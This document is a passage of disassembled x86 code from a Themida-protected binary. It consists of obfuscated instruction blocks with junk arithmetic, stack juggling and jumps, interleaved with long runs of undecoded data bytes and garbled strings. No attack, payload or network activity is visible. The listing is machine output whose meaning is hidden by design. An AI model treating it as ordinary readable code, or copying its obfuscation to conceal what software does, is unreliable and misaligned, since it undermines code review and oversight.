loc_5529EA:				; CODE XREF: Themida_:00544C9Bj
		mov	esp, [esp]
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_546E48
; ---------------------------------------------------------------------------
		db 87h
		dd 0D0F72404h, 0FF8BBBE9h, 0FFC783FFh, 6CC068h,	0B3E0E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552A0E:				; CODE XREF: Themida_:0054E4DDj
		pop	ebp
		add	esp, 4
		shl	edx, 3
		push	edi
		mov	edi, 1
		jmp	loc_552E62
; ---------------------------------------------------------------------------
		dd 0D8E9575Ah, 29FFFFA3h, 0C3EE81CEh, 8124673Dh, 0CC163AEEh
		dd 4BE95761h, 0BEFFFFABh, 1D84405Dh, 1BFCE81h, 0E6C14F59h
		dd 2C7E907h, 5451FFFFh,	0D9BB5359h, 0E922B618h,	0FFFFBE2Dh
		dd 0E9F9ED80h, 0FFFF10BEh, 8B54535Ah, 8956241Ch, 4C681E6h
		dd 81000000h, 4C6h, 24348700h, 4C3815Ch, 81000000h, 4C3h
		dd 0FE29E900h, 0F181FFFEh, 6D18327Eh, 0C8BC829h, 4C48124h
		dd 1000000h, 2E7E05D0h,	148B04D2h, 4C48324h, 0BA525357h
		dd 5F3111BAh, 3111BCBBh, 32A6E95Fh, 0C4810000h,	4, 15D5E9h
		dd 2434FF00h, 0E9242C8Bh, 0FFFFDB7Eh, 4D53EF81h, 0C78109ACh
		dd 72534350h, 0BA52DF29h, 72534350h, 815AD729h,	0AC4D53C7h
		dd 2434FF09h, 140FE9h, 47EDB800h, 0A8E95E31h
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_552B03:				; CODE XREF: Themida_:0054233Cj
		sub	ebx, 0AC3AEB5h
		push	ebp
		mov	ebp, 7ABD41BEh
		add	eax, ebp
		pop	ebp
		add	eax, ebx
		sub	eax, 7ABD41BEh
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_552DF1
; ---------------------------------------------------------------------------

loc_552B30:				; CODE XREF: Themida_:00550A60j
		xchg	ecx, [esp]
		not	ecx
		xchg	ecx, [esp]
		pop	ebx
		push	1524h
		mov	[esp], esi
		mov	esi, 0EF9CD67Ch
		xor	ebx, esi
		jmp	loc_54DF79
; ---------------------------------------------------------------------------
		db 66h,	89h, 4
		dd 0EFC9E924h, 0F581FFFEh, 3BF67F3Eh, 525DEE09h, 0FB6F5CBAh
		dd 0F281426Eh, 710C1E8Dh, 81D2F742h, 0C5DFE5F2h, 5A0EE989h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552B7A:				; CODE XREF: Themida_:0054632Ej
		push	edx
		jmp	loc_549E50
; ---------------------------------------------------------------------------
		dd 0FEEF9AE9h, 87D1F7FFh, 4CE781CFh, 81641455h,	145148F7h
		dd 5FFE0104h, 0E904C683h, 0FFFFA6A5h, 4C381h, 53560000h
		dd 4A554EBBh, 5BDE8938h, 28C6BD55h, 0CD817AA1h,	713332B3h
		dd 2216C581h, 0D5F70E07h, 814DEDD1h, 12A67CC5h,	26C681D1h
		dd 81524552h, 0F853A6C6h, 81EE012Eh, 0F853A6EEh, 26EE812Eh
		dd 5D524552h, 1EE81h, 0F6810000h, 447FCD45h, 875EF301h
		dd 0DCE9241Ch
		db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552BFF:				; CODE XREF: Themida_:00542248j
		mov	ch, 20h
		not	ch
		add	ch, 27h
		neg	ch
		not	ch
		jmp	loc_5502C4
; ---------------------------------------------------------------------------
		db 89h
		dd 0CD19E9E5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552C16:				; CODE XREF: Themida_:005441F3j
		add	esp, 4
		and	eax, ecx
		mov	ecx, [esp]
		push	391Ch
		mov	[esp], ebx
		jmp	loc_542D9E
; ---------------------------------------------------------------------------
		db 5Eh
		dd 34FFEE01h, 6D55E924h, 0C87FFFFh, 0CF295C24h,	83240C8Bh
		dd 0FE2904C4h, 0E92434FFh, 0F91h
; ---------------------------------------------------------------------------

loc_552C4C:				; CODE XREF: Themida_:00549AD4j
		push	edi
		push	ebx
		pop	edi
		jmp	loc_54B242
; ---------------------------------------------------------------------------
		dd 0E95AD128h, 0FFFF4D18h, 0EB81FB01h, 52303F17h, 0E957525Fh
		dd 0FFFF1578h, 767CF281h, 37E9D63Dh, 81FFFF59h,	14FF2EF5h
		dd 5DEE2934h, 0BB53EE01h, 4799642Eh, 593FC681h,	0DE014BC2h
		dd 785BBB53h, 0BE91FE2h
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552C9B:				; CODE XREF: Themida_:00543678j
		add	ecx, 4
		push	edx
		mov	edx, 3C085B8Bh
		push	ebx
		mov	ebx, 693A49ECh
		sub	edx, ebx
		pop	ebx
		shr	edx, 6
		jmp	loc_54B9C6
; ---------------------------------------------------------------------------
		dd 5BD83159h, 0E904EC83h, 0FFFF190Bh, 53242C8Bh, 0C381E389h
		dd 4, 4C381h, 17E90000h, 5AFFFF08h, 8B5BDA29h, 0C483241Ch
		dd 0A4EEE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552CEA:				; CODE XREF: Themida_:00543982j
		mov	esi, eax
		mov	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_54AC37
; ---------------------------------------------------------------------------

loc_552CF9:				; CODE XREF: Themida_:00542DA6j
		add	ebx, 4
		sub	esp, 4
		jmp	loc_5521DB
; ---------------------------------------------------------------------------
		dd 3F9CE956h, 0C301FFFFh, 715D68h, 242C8900h, 667020BDh
		dd 0FAC58159h, 2924B8A4h, 2BD6E9EBh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_552D26:				; CODE XREF: Themida_:00543CBFj
		add	dword ptr [esp], 2D5E209Dh
		pop	ecx
		push	ebp
		mov	ebp, 0C474B5h
		add	ebp, 2C99ABE8h
		jmp	loc_544376
; ---------------------------------------------------------------------------
		db 0B5h
		dd 0D0ED801Eh, 0FEEE65E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_552D49:				; CODE XREF: Themida_:00543071j
		push	eax
		mov	eax, 40F963FCh
		shl	eax, 2
		sub	eax, 425A4BE1h
		jmp	loc_5522E7
; ---------------------------------------------------------------------------
		dd 4C5815Ch, 53000000h,	52BE68h, 24148900h, 8D86E957h
		db 2 dup(0FFh)
word_552D72	dw 8766h		; DATA XREF: Themida_:0054189Co
		dd 68662414h, 8966091Ch, 31662414h, 3366240Ch, 3166240Ch
		dd 0EC83240Ch, 0C896602h, 14F76624h, 0C8B6624h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_54C5AD
; ---------------------------------------------------------------------------
		db 0B8h, 2, 0
		dd 0C5010000h, 74FF5558h, 8F5D0424h, 248B2404h,	4296624h
		dd 1BE99C24h, 5200001Ch, 0B3243481h, 5B16A81Dh,	1DB3F381h
		dd 0A0E916A8h, 81FFFF18h, 794EC0F3h, 0E9DD097Ah, 0FFFFDD8Bh
; ---------------------------------------------------------------------------

loc_552DE0:				; CODE XREF: Themida_:00547AD9j
		mov	[esp], eax
		push	ebx
		mov	ebx, 32E377F7h
		mov	eax, ebx
		pop	ebx
		jmp	loc_5520B6
; ---------------------------------------------------------------------------

loc_552DF1:				; CODE XREF: Themida_:00552B2Bj
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55099A
; ---------------------------------------------------------------------------
word_552DFA	dw 0E9ADh		; DATA XREF: Themida_:00541860o
		dd 0FFFFB602h, 0B850E389h, 4, 5658C301h, 2E2F46BEh, 70EE8179h
		dd 0E9060B1Fh, 0FFFF1B68h, 8B2434FFh, 0C4812404h, 4, 49C68h
		dd 243C8900h, 3783E9h, 243C8900h, 6850E789h, 0D1Bh, 0FF7852E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_552E45:				; CODE XREF: Themida_:0055692Aj
		xor	edx, ecx
		pop	ecx
		push	ecx
		push	53A259E0h
		pop	ecx
		sub	edx, 652D3A61h
		add	edx, ecx
		add	edx, 652D3A61h
		jmp	loc_54D713
; ---------------------------------------------------------------------------

loc_552E62:				; CODE XREF: Themida_:00552A1Bj
		sub	edx, edi
		mov	edi, [esp]
		add	esp, 4
		xor	edx, 330A4E04h
		jmp	loc_54E074
; ---------------------------------------------------------------------------

loc_552E78:				; CODE XREF: Themida_:00547884j
		pop	ecx
		push	esi
		push	0ECF0B97h
		pop	esi
		jmp	loc_548011
; ---------------------------------------------------------------------------
		db 0F7h, 0D3h, 0E9h
		dd 0FFFF5768h, 4DB2F681h, 0F7897416h, 0FFDEE4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_552E99:				; CODE XREF: Themida_:00548498j
		sub	ecx, 20375C4Dh
		sub	ecx, esi
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_5494F8
; ---------------------------------------------------------------------------
		dw 0B3BFh
		dd 0E9195172h, 0FFFF8CFEh, 0FEEC5AE9h, 0E99C50FFh, 0FFFEEC53h
		dd 0F0008F04h, 0F64FB151h, 0D0C9FED9h, 7AC980E9h, 0F180D1F6h
		dd 2A94E90Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552EE6:				; CODE XREF: Themida_:00553589j
		add	ebx, 247616A2h
		jmp	loc_54E174
; ---------------------------------------------------------------------------

loc_552EF1:				; CODE XREF: Themida_:00551BBBj
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		jmp	loc_54C71A
; ---------------------------------------------------------------------------
		dd 7D7C68h, 243C8900h, 0FFEB96E9h, 477F68FFh, 24890000h
		dd 4BE5624h, 0E9000000h, 32CBh
; ---------------------------------------------------------------------------

loc_552F20:				; CODE XREF: Themida_:00555C7Aj
		push	ecx
		mov	ecx, 25C7F84h
		add	edx, ecx
		pop	ecx
		and	edx, 43380503h
		jmp	loc_54E127
; ---------------------------------------------------------------------------
		dd 34FFD000h, 0C4815A24h, 4, 36DC68h, 24148900h, 4EC81h
		dd 4890000h, 0E933B424h, 0FFFF3DBFh, 4C481h, 4330000h
		dd 24043124h, 0FEF226E9h, 240431FFh, 0FFCC3FE9h, 4EF83FFh
		dd 31243C33h, 3C33243Ch, 4895C24h, 4B824h, 0C2010000h
		dd 0FF8B0CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_552F8D:				; CODE XREF: Themida_:0054A4AAj
		push	ebx
		mov	ebx, 2C6639D2h
		mov	ebp, 44CB499Fh
		xor	ebp, ebx
		pop	ebx
		sub	esp, 4
		jmp	loc_547652
; ---------------------------------------------------------------------------
		dw 0D001h
		dd 0E189515Ah, 4C181h, 0E9810000h, 4, 5C240C87h, 0BF243C89h
		dd 40D97E65h, 8102E7C1h, 9D48C0C7h, 8BF8012Fh, 0C483243Ch
		dd 0C220504h, 0EC817908h, 4, 0FF803AE9h, 0B95155FFh, 7FCE129Eh
		dd 0FFEC01E9h, 0BE565EFFh, 0D8218611h, 0F4E9F031h
		db 3Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552FFF:				; CODE XREF: Themida_:00549428j
		mov	[esp], esi
		push	7E665E41h
		pop	esi
		xor	esi, 66EE49E1h
		mov	edi, esi
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	ebx, 188817C4h
		jmp	loc_5560E0
; ---------------------------------------------------------------------------
		dd 0E970EC80h, 0FFFFF2E8h
; ---------------------------------------------------------------------------

loc_553038:				; CODE XREF: Themida_:0054A2F2j
		push	edi
		mov	edi, 4
		add	ecx, edi
		jmp	loc_542762
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4Ah
		dd 93403C7h, 2434FFD9h,	0DC3FE95Bh, 69B2FFFFh, 5A66D028h
		dd 0FF3624E9h, 240C87FFh, 0E924248Bh, 19BAh, 3F626866h
		dd 0FEFFBAE9h, 0F2EA81FFh, 8974B627h, 3EE95AD1h, 500002Bh
		dd 1B895DA2h, 0FFFF58E9h, 0E9BDB0FFh, 14A8h
; ---------------------------------------------------------------------------

loc_553094:				; CODE XREF: Themida_:00544CB1j
		add	ebx, 907BBD13h
		push	ebx
		sub	dword ptr [esp], 8644946h
		pop	ebp
		add	ebp, 8644946h
		pop	ebx
		add	ecx, 522B2E54h
		add	ecx, ebp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 25103E6Bh
		push	ecx
		jmp	loc_54F3DC
; ---------------------------------------------------------------------------

loc_5530C6:				; CODE XREF: Themida_:005429E4j
		pop	ebp
		sub	ecx, 26B30023h
		xor	ecx, 5CBBBF23h
		jmp	loc_550265
; ---------------------------------------------------------------------------
a1S		db '1Öé°+',0
		dw 8100h
		dd 9AD8F6C3h, 5BDA218Bh, 0D8BC281h, 0D52909B0h,	8324148Bh
		dd 2A0504C4h, 0E924792Ch, 0FFFF4624h
; ---------------------------------------------------------------------------

loc_553100:				; CODE XREF: Themida_:0054F521j
		mov	dl, 0C5h
		add	al, dl
		jmp	loc_551E35
; ---------------------------------------------------------------------------
		db 66h,	89h, 0FEh
		dd 0CCB3E95Fh, 0BB8FFFFh, 31CC31C3h, 0DD0958C3h, 6EDC15Bh
		dd 7659E581h, 81E95943h, 83FFFF12h, 1C8904ECh, 0C006B724h
		dd 0B05003E7h, 0D62EE99Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55313E:				; CODE XREF: Themida_:00548892j
		push	eax
		push	5685319Eh
		pop	eax
		inc	eax
		shr	eax, 2
		jmp	loc_55232D
; ---------------------------------------------------------------------------

loc_55314E:				; CODE XREF: Themida_:00541DDDj
		inc	bh
		add	bh, 8Eh
		mov	al, bh
		pop	ebx
		add	bl, al
		pop	eax
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	ecx
		push	14265E99h
		jmp	loc_553783
; ---------------------------------------------------------------------------
		dw 0D929h
		dd 83241C8Bh, 0FF5104C4h, 59042474h, 0E924048Fh, 0FFFF77ECh
		dd 241C8B66h, 0FFE766E9h, 243C8BFFh, 8904EC83h,	0E189240Ch
		dd 4BA52h, 0D1010000h, 4C1835Ah, 5C240C87h, 8B24048Fh
		dd 0E9532424h, 0FFFF6EC5h
dword_5531B0	dd 8B2434FFh, 3E9240Ch,	89FFFFF9h, 0B5512414h, 1841E92Eh
					; DATA XREF: Themida_:00541938o
		dd 429FFFFh, 50E99C24h,	1FFFEE9h, 34875FFEh, 0D39CE924h
		dd 0C581FFFFh, 3F067B73h, 0B7F581h, 9BE9279Fh
		db 5Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5531EB:				; CODE XREF: Themida_:005494FCj
		push	2E25h
		jmp	loc_544CA0
; ---------------------------------------------------------------------------
		db 80h,	0E1h, 53h
		dd 5094B652h, 0FF7322E9h, 4C483FFh, 413CE950h, 0C783FFFFh
		dd 243C3304h, 33243C31h, 805C243Ch, 5251CBC3h, 15E957B6h
		dd 8300002Bh, 36804C5h,	8900002Eh, 74FF242Ch, 2C8B0424h
		dd 0C69AE924h, 0B0BBFFFFh, 0E9654649h, 0FFFF5B64h, 0BD242C89h
		dd 5AED3594h, 0E5E2C581h, 0D1E913D3h
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_553257:				; CODE XREF: Themida_:00553479j
		pop	ebx
		add	ecx, ebx
		add	ecx, 66860212h
		jmp	loc_54ECE7
; ---------------------------------------------------------------------------

loc_553265:				; CODE XREF: Themida_:005466B5j
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	esi, 4
		jmp	loc_545806
; ---------------------------------------------------------------------------
aVUMyVSs	db 'ºË#‚)U½¬YÅv!êé‘)',0
		dw 8300h
		dd 5CE9FFEAh
		db 69h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55328F:				; CODE XREF: Themida_:0054AF69j
		xchg	ebx, [esp]
		pop	esp
		push	esi
		mov	esi, 0F6C2ED9h
		sub	esi, 6A1939D8h
		add	esi, 4CF66B48h
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 561C1989h
		not	ebp
		inc	ebp
		shl	ebp, 7
		sub	ebp, 8263EA49h
		jmp	loc_550C5A
; ---------------------------------------------------------------------------
		dd 4A7AE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5532CA:				; CODE XREF: Themida_:00547CF8j
		shr	ecx, 3
		neg	ecx
		not	ecx
		shr	ecx, 8
		sub	ecx, 5C624A96h
		sub	ecx, 9EEF51F8h
		sub	dword ptr [esp+8], 6A841D16h
		add	dword ptr [esp+8], 0D03295Dh
		sub	dword ptr [esp+8], 4D211B44h
		add	[esp+8], ecx
		push	eax
		mov	eax, 4D211B44h
		add	[esp+0Ch], eax
		mov	eax, [esp]
		add	esp, 4
		sub	dword ptr [esp+8], 0D03295Dh
		push	ebx
		push	eax
		mov	eax, 6E944F5Dh
		jmp	loc_542CE2
; ---------------------------------------------------------------------------

loc_553320:				; CODE XREF: Themida_:0054B695j
		mov	ecx, 4
		add	edx, ecx
		mov	ecx, [esp]
		push	ecx
		jmp	loc_5482D1
; ---------------------------------------------------------------------------
		dd 0FEE7EAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_553335:				; CODE XREF: Themida_:0054771Fj
		pop	edx
		add	esp, 4
		xor	bl, ah
		jmp	loc_54F635
; ---------------------------------------------------------------------------
		db 31h
		dd 8B04246Ch, 0C483242Ch, 2434FF04h, 0E2895258h, 8904EC83h
		dd 0A7BE2434h, 0F7784734h, 76CE81D6h, 0E9178E00h, 0FFFF6FE6h
		dd 0E924048Bh, 0FFFF67BAh, 0B3BAE942h, 0EEC0FFFFh, 0B5516605h
		dd 2EA8E9EBh, 0B0500000h, 58C20046h, 1505E9h, 320F2D00h
		dd 5B5B0029h, 672D062Dh, 22E70513h, 0D8295339h,	3922E72Dh
		dd 2D060553h, 8C051367h, 6809AD55h, 17F9h, 0BA241489h
		dd 37BD7D2Bh, 0FF13F6E9h, 240C33FFh, 33240C31h,	248B240Ch
		dd 24348724h, 24048B5Ch, 0FFAADBE9h, 2434FFFFh,	0FF0604E9h
		dd 81D129FFh, 871992E9h, 0BF575A71h, 2BC542B1h,	8CE9FD01h
		dd 5BFFFF56h, 2B6CD81h,	0F58108EBh, 3C356ED0h, 894F581h
		dd 0C5814E97h, 2A9320F6h, 8105E5C1h, 0EF1361C5h, 907DE98Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_553422:				; CODE XREF: Themida_:00546166j
		xchg	ebx, [esp]
		pop	esp
		mov	al, ch
		jmp	loc_546EF2
; ---------------------------------------------------------------------------

loc_55342D:				; CODE XREF: Themida_:0054C987j
		push	edi
		push	ebp
		mov	ebp, 7C285923h
		mov	edi, 26635BB0h
		xor	edi, ebp
		jmp	loc_542E54
; ---------------------------------------------------------------------------
		dd 67F668h, 24148900h, 595988BAh, 23B9510Ah, 0E905AB7Ah
		dd 0FFFF46BAh
; ---------------------------------------------------------------------------

loc_553458:				; CODE XREF: Themida_:0054F9C8j
		push	4CE4h
		mov	[esp], esi
		mov	esi, esp
		push	edx
		jmp	loc_556597
; ---------------------------------------------------------------------------

loc_553468:				; CODE XREF: Themida_:00546BEEj
		sub	ebx, eax
		pop	eax
		push	ebx
		mov	ebx, 22535AC5h
		add	ebx, 4432A74Dh
		sub	ecx, ebx
		jmp	loc_553257
; ---------------------------------------------------------------------------

loc_55347E:				; CODE XREF: Themida_:0054DF50j
		mov	esi, 7D7E3F10h
		xor	edi, esi
		pop	esi
		push	4E06h
		mov	[esp], edi
		xor	dword ptr [esp], 254D58D0h
		pop	dword ptr [eax]
		xor	dword ptr [eax], 254D58D0h
		jmp	loc_541D19
; ---------------------------------------------------------------------------

loc_5534A2:				; CODE XREF: Themida_:0055159Bj
		add	eax, edi
		jmp	loc_54537E
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 2D000000h, 4F407755h, 5505F029h, 8B4F4077h, 56E92434h
		db 0B4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5534C3:				; CODE XREF: Themida_:0055258Aj
		mov	edx, esp
		sub	esp, 4
		jmp	loc_5431CC
; ---------------------------------------------------------------------------
		dd 0E9240C89h, 0FFFFB898h, 8355E289h, 348904ECh, 40CABE24h
		dd 626801EFh, 89000058h, 53E92434h, 5DFFFFDBh, 0BF57E8D1h
		dd 64C45E78h, 37BB5347h, 817E1F0Ah, 45C07BEBh, 4EEDE95Dh
		dd 0C681FFFFh, 4, 8B243487h, 52512424h,	0F1884AB6h, 0FDE8E95Ah
		dd 815DFFFEh, 1E7176EDh, 2EDC120h, 0FF57C6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_553535:				; CODE XREF: Themida_:00543A4Fj
		sub	ebx, 435374C6h
		add	ebx, 153E3E4Ah
		add	ebx, ecx
		push	eax
		mov	eax, 49155FDAh
		shr	eax, 4
		shr	eax, 6
		shl	eax, 3
		add	eax, 57321D0Bh
		inc	eax
		sub	eax, 4286097Ah
		sub	ebx, eax
		pop	eax
		add	ebx, 435374C6h
		mov	ecx, [esp]
		add	esp, 4
		sub	ebx, 4E994026h
		push	ebp
		mov	ebp, 154F1176h
		add	ebx, ebp
		pop	ebp
		sub	ebx, 1EBD7438h
		sub	ebx, 247616A2h
		add	ebx, eax
		jmp	loc_552EE6
; ---------------------------------------------------------------------------
		dw 835Ch
		dd 0A36804C4h, 89000035h, 9DBA2414h, 0E9AAC078h, 0FFFF3990h
		dd 552FE95Fh, 8B66FFFFh, 3AE9241Ch, 81FFFF1Fh, 4B47B1EBh
		dd 5BD8890Eh, 8158C701h, 3A6E87F7h, 0EF814F4Ah,	0FE78B56Bh
		dd 65DB68h, 243C8900h, 1C6CB951h, 4C314DF5h, 5B590424h
		dd 1C6CF381h, 835F4DF5h, 1C8904ECh, 9EFAE924h, 0D501FFFFh
		dd 5224148Bh, 0C281E289h, 4, 3826B951h,	0E98148F9h, 48F93822h
		dd 3359CA01h, 14312414h, 24143324h, 74FF555Ch, 2C8B0424h
		dd 4C48324h, 5C24048Fh,	323268h, 243C8900h, 94E9E789h
		dd 5B000011h, 243C8B5Eh, 0FEFAFAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_553641:				; CODE XREF: Themida_:005537AFj
		push	eax
		mov	eax, 4
		jmp	loc_55202A
; ---------------------------------------------------------------------------
		dd 0FD88D788h, 0FEF53DE9h, 241C8BFFh, 104C483h,	595259CAh
		dd 59C8895Ah, 0FA65492Dh, 7E94810h, 83FFFFB8h, 535204C4h
		dd 0F643E8BBh, 5BDA8944h, 2508E281h, 0EC816880h, 4, 0BF243C89h
		dd 0BF7FFEFCh, 565FFA01h, 0FF8AC5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_553699:				; CODE XREF: Themida_:00554A4Aj
		mov	edx, 0FF8E10DFh
		sub	edi, edx
		pop	edx
		add	eax, edi
		pop	edi
		push	ebp
		mov	ebp, 341A0D04h
		and	eax, ebp
		pop	ebp
		shl	eax, 6
		xor	eax, 47813CCh
		add	ecx, eax
		mov	eax, [esp]
		jmp	loc_54868A
; ---------------------------------------------------------------------------

loc_5536BF:				; CODE XREF: Themida_:00549127j
		push	5E10h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		jmp	loc_543D58
; ---------------------------------------------------------------------------
		dd 4C481h, 0F1280000h, 9190E95Ah, 4568FFFFh, 8900000Bh
		dd 42B9240Ch, 81670467h, 0D76E88E9h, 1C18310h, 0EFC18149h
		dd 0E9F98213h, 0FFFFEC94h, 8B7EF181h, 0CE8931AAh, 83240C8Bh
		dd 505204C4h, 2414B8B8h, 0E9C2892Eh, 0FFFEEC96h, 0C381E389h
		dd 4, 4BA5250h,	89000000h, 8DE95AD0h, 89FFFF73h, 0C2E959CFh
		dd 89FFFFF2h, 68572434h, 312344E3h, 83243C8Bh, 514F04C4h
		dd 8B071CB9h, 1736E914h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55375A:				; CODE XREF: Themida_:0054F7CAj
		mov	[esp], ebx
		mov	ebx, 316E1F68h
		add	eax, 0E5A3428h
		sub	eax, 189852E6h
		sub	eax, ebx
		add	eax, 189852E6h
		sub	eax, 0E5A3428h
		jmp	loc_5494F0
; ---------------------------------------------------------------------------
a_s_		db '_éÙ.',0
		db 0
; ---------------------------------------------------------------------------

loc_553783:				; CODE XREF: Themida_:00553165j
		push	dword ptr [esp]
		jmp	loc_54F548
; ---------------------------------------------------------------------------

loc_55378B:				; CODE XREF: Themida_:00542743j
		pop	esi
		mov	eax, ebp
		jmp	loc_544BB9
; ---------------------------------------------------------------------------
		db 89h
		dd 3979E9E0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

locret_55379A:				; CODE XREF: Themida_:00548AB5j
		retn
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFEE37Fh
; ---------------------------------------------------------------------------

loc_5537A0:				; CODE XREF: Themida_:00547672j
		push	dword ptr [esp]
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_553641
; ---------------------------------------------------------------------------
		dd 0C181E929h, 5EF371E5h, 0CE89565Dh, 348B5856h, 4C48124h
		dd 59000000h, 0FF1C4721h, 34FF2434h, 0C4815824h, 4, 0E9E78957h
		dd 1B76h
; ---------------------------------------------------------------------------

loc_5537E4:				; CODE XREF: Themida_:00544920j
		pop	esp
		mov	[esp], esp
		jmp	loc_550149
; ---------------------------------------------------------------------------
		db 66h,	68h, 0FCh
		dd 14896675h, 154BE924h, 5A660000h, 0FF3987E9h,	242489FFh
		dd 4240481h, 0E9000000h, 35Fh, 8158C601h, 4C6h,	0C89EE900h
		dd 0D389FFFFh, 0F8EA815Ah, 149FA4Bh, 0D3BD55DAh, 0C168032Bh
		dd 0ED8108E5h, 6BAB4889h, 0BA52DDF7h, 27141EE9h, 74F6EA81h
		dd 0E281102Eh, 2613594Bh, 6950F281h, 0CA816751h, 22B10ADAh
		dd 0A78DC281h, 23E9B401h, 87000030h, 0BBE9240Ch, 1FFFFE5h
		dd 0F4BD55CBh, 4D57F456h, 4925ED81h, 5BE9410Bh,	89FFFFF9h
		dd 8A21E9E0h, 0B252FFFFh, 25F28077h, 0C05CC280h, 686604E2h
		dd 8BE926DBh
		db 0E6h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_55389B:				; CODE XREF: Themida_:00542C45j
		mov	esi, 4BA47D90h
		or	esi, 6C5354D4h
		jmp	loc_544005
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0FF5260E9h
		db 0FFh
byte_5538B1	db 66h,	8Bh, 4		; DATA XREF: Themida_:00541870o
		dd 4EC8324h, 0FF0FFEE9h, 243487FFh, 8924248Bh, 5368240Ch
		dd 8900007Fh, 8EB02404h, 0C13007B1h, 169DE958h,	0FB010000h
		dd 0D9EB815Fh, 0E909AC7Fh, 0FFFFDBE5h, 0C2D429B8h, 58C3898Ch
		dd 295EF301h, 0EB815BDAh, 18BE7532h, 0C381D329h, 18BE7532h
		dd 0F00DE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55390A:				; CODE XREF: Themida_:005447B6j
		or	edx, 689844C1h
		jmp	loc_5509D5
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 40h
		dd 0C127F240h, 0EEC103EEh, 0C2F68102h, 0C175F821h, 0E68105E6h
		dd 516826A3h, 0F4DFBB53h, 0DE012AC5h, 0E9F7015Bh, 0FFFF86B0h
; ---------------------------------------------------------------------------

loc_553940:				; CODE XREF: Themida_:0055447Fj
		add	ecx, 779E0A76h
		add	ecx, edi
		jmp	loc_549FE0
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 5
		dd 4, 0E904C083h, 0FFFFEF86h, 42474FFh,	24048F5Eh, 0FC0095Ch
		dd 0FF6BD984h, 0E68956FFh, 4C681h, 680000h, 0E900006Dh
		dd 0FFFF95DBh
; ---------------------------------------------------------------------------

loc_553980:				; CODE XREF: Themida_:0054F7BAj
					; Themida_:0054FC45j
		push	4897h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_54A5A6
; ---------------------------------------------------------------------------
byte_5539A7	db 66h			; DATA XREF: Themida_:00541950o
		dd 51240C8Bh, 0CD68h, 24248900h, 4240481h, 0E9000000h
		dd 0FFFFF904h, 2D382FB9h, 0FDFDE951h, 2C31FFFEh, 242C3324h
		dd 0FF24248Bh, 68582434h, 2418h, 68243489h, 0FEDh, 83242489h
		dd 5E042404h, 4C681h, 39680000h, 8900007Ah, 4BA2414h, 52000000h
		dd 0E32816BAh, 0EC0E927h, 0F209FFFFh, 0FFDA18E9h, 3EC181FFh
		dd 1B62586h, 2434FFCFh,	0FEE1BDE9h, 4BDFFh, 0EB010000h
		dd 83242C8Bh, 1C8704C4h, 0C7815C24h, 4,	0E855E956h, 565DFFFFh
		dd 0BE7FF4BEh, 8E6C125h, 3690CE81h, 814E7327h, 296F3FF6h
		dd 12E9567Ah
		db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_553A5B:				; CODE XREF: Themida_:00555FCAj
		add	esp, 4
		pop	ebx
		jmp	loc_553BFC
; ---------------------------------------------------------------------------
		db 89h
		dd 4C181E1h, 83000000h,	0C8704E9h, 2C895C24h, 4EC8324h
		dd 0B9240C89h, 26C12AF7h, 0E904E1C1h, 0FFFEFB69h, 809F281h
		dd 7EE912B7h
		db 0FDh, 0FEh, 0FFh
; ---------------------------------------------------------------------------
